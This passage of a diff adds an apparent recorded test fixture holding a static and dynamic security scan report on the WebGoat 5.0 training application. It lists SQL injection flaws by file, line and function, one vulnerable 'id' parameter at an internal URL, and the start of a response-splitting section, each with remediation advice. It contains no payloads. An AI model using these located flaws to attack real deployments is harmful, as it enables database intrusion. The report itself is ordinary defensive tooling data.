+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
